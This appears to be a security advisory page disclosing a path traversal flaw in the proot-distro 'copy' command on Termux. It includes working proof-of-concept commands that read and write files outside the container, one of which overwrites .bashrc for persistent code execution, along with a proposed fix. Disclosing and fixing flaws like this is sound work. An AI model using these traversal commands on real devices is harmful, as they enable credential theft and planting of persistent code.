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GHSA-mfr4-mq8w-vmg6

MediumCVSS 6.6 / 10

Published Jul 17, 2026·Last modified Jul 17, 2026

Affected Components(0)

No affected components available

Description

<html><head></head><body><h1>Path Traversal in <code>proot-distro copy</code> — Arbitrary Read, Write, and Persistent Code Execution Outside Container Rootfs</h1> <h2>Repository</h2> <p>https://github.com/termux/proot-distro</p> <p><strong>Maintainer:</strong> @sylirre</p> <hr> <h2>Affected Component</h2> <ul> <li><strong>Package:</strong> proot-distro</li> <li><strong>Affected command:</strong> <code>copy</code></li> <li><strong>Attack surface:</strong> Host-side Termux CLI — this is not a guest distro shell issue</li> <li><strong>Vulnerability type:</strong> Path Traversal (CWE-22)</li> </ul> <hr> <h2>Affected Versions</h2>

<hr> <h2>Proof of Concept</h2> <p>All tests were performed using only self-owned files and harmless marker data. No root was used. No third-party data was involved. The <code>.bashrc</code> overwritten during testing was immediately restored.</p> <h3>Step 1 — Setup</h3> <pre><code>rm -rf ~/poc mkdir -p ~/poc </code></pre> <hr> <h3>Step 2 — Arbitrary write (overwrite a file outside the container rootfs)</h3> <pre><code>echo "ORIGINAL" > ~/poc/target.txt echo "PWNED_BY_PROOT_DISTRO" > ~/poc/evil.txt

proot-distro copy
~/poc/evil.txt
"ubuntu:$(printf '../%.0s' {1..20})data/data/com.termux/files/home/poc/target.txt" </code></pre>

<p>Observed output:</p> <pre><code>[*] Source: '/data/data/com.termux/files/home/poc/evil.txt' [*] Destination: '/data/data/com.termux/files/home/poc/target.txt' [*] Copying files, this may take a while... [*] Finished copying files. </code></pre> <p>Verification:</p> <pre><code>cat ~/poc/target.txt → PWNED_BY_PROOT_DISTRO </code></pre> <p>This confirms that the destination resolved to a path outside the container rootfs and the file was overwritten successfully.</p> <hr> <h3>Step 3 — Arbitrary read (exfiltrate a file from outside the container rootfs)</h3> <pre><code>echo "TOP_SECRET" > ~/poc/secret.txt

proot-distro copy
"ubuntu:$(printf '../%.0s' {1..20})data/data/com.termux/files/home/poc/secret.txt"
~/poc/read_result.txt </code></pre>

<p>Observed output:</p> <pre><code>[*] Source: '/data/data/com.termux/files/home/poc/secret.txt' [*] Destination: '/data/data/com.termux/files/home/poc/read_result.txt' [*] Copying files, this may take a while... [*] Finished copying files. </code></pre> <p>Verification:</p> <pre><code>cat ~/poc/read_result.txt → TOP_SECRET </code></pre> <p>This confirms that the source path resolved to a file outside the container rootfs and its contents were successfully copied to a host-side destination.</p> <hr> <h3>Step 4 — Persistent code execution via <code>.bashrc</code> overwrite</h3> <pre><code>printf 'echo VULN_TRIGGERED > ~/poc/proof.txt\n' > ~/poc/payload.sh

proot-distro copy ~/poc/payload.sh
"ubuntu:$(printf '../%.0s' {1..20})data/data/com.termux/files/home/.bashrc" </code></pre>

<p>Observed output:</p> <pre><code>[*] Source: '/data/data/com.termux/files/home/poc/payload.sh' [*] Destination: '/data/data/com.termux/files/home/.bashrc' [*] Copying files, this may take a while... [*] Finished copying files. </code></pre> <p>Verification before restart:</p> <pre><code>cat ~/.bashrc → echo VULN_TRIGGERED > ~/poc/proof.txt </code></pre> <p>After closing and reopening Termux, the new shell sourced <code>.bashrc</code> and executed the payload automatically:</p> <pre><code>cat ~/poc/proof.txt → VULN_TRIGGERED </code></pre> <p>This confirms that attacker-controlled content written into <code>.bashrc</code> executes automatically on the next shell launch, resulting in persistent local code execution within the Termux app context.</p> <hr> <h2>Attack Scenario</h2> <p>The most realistic exploitation path is a confused deputy scenario: a community script, Termux plugin, or automated tool calls <code>proot-distro copy</code> with a path derived from untrusted input. The attacker supplies a crafted container path. The tool resolves it to a host-side location and reads or writes the file without any boundary check. The user sees normal command output and no indication that a file outside the container was touched.</p> <p>On a real device with SSH keys or stored credentials in the Termux home directory, the read primitive allows silent credential theft. The write primitive to <code>.bashrc</code> allows persistent code execution triggered on next login.</p> <hr> <h2>Proposed Fix</h2> <p>After resolving the container-relative path, verify that the canonical result remains inside the container rootfs before allowing any read or write operation. Example mitigation pattern in Python:</p> <pre><code>import os

def safe_resolve(rootfs, container_path): candidate = os.path.realpath(os.path.join(rootfs, container_path.lstrip('/'))) root = os.path.realpath(rootfs) if candidate != root and not candidate.startswith(root + os.sep): raise ValueError("path traversal detected: resolved path escapes rootfs") return candidate </code></pre>

<p>This check must be applied to both the source and destination paths in the <code>copy</code> subcommand.</p> <hr> <h2>Additional Notes</h2> <ul> <li>This issue was reproduced on the official Termux release from https://packages-cf.termux.dev, not a fork.</li> <li>No root access was used at any point during testing.</li> <li>All test files were self-owned and contained only harmless marker data.</li> <li>The <code>.bashrc</code> overwritten during testing was immediately restored after verification.</li> </ul></body></html>

Risk Scores

Base Score

6.6

The vulnerability requires local access to the device to be exploited. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. The attacker needs the user to perform some action, like clicking a link. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data.

Threat Intelligence

6.1

Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.

EPSS

N/A

Probability that this vulnerability will be exploited in the wild within the next 30 days.

Exploit

Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

Browse More

Medium severity

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GHSA-mfr4-mq8w-vmg6

Know every vulnerability
before it knows you.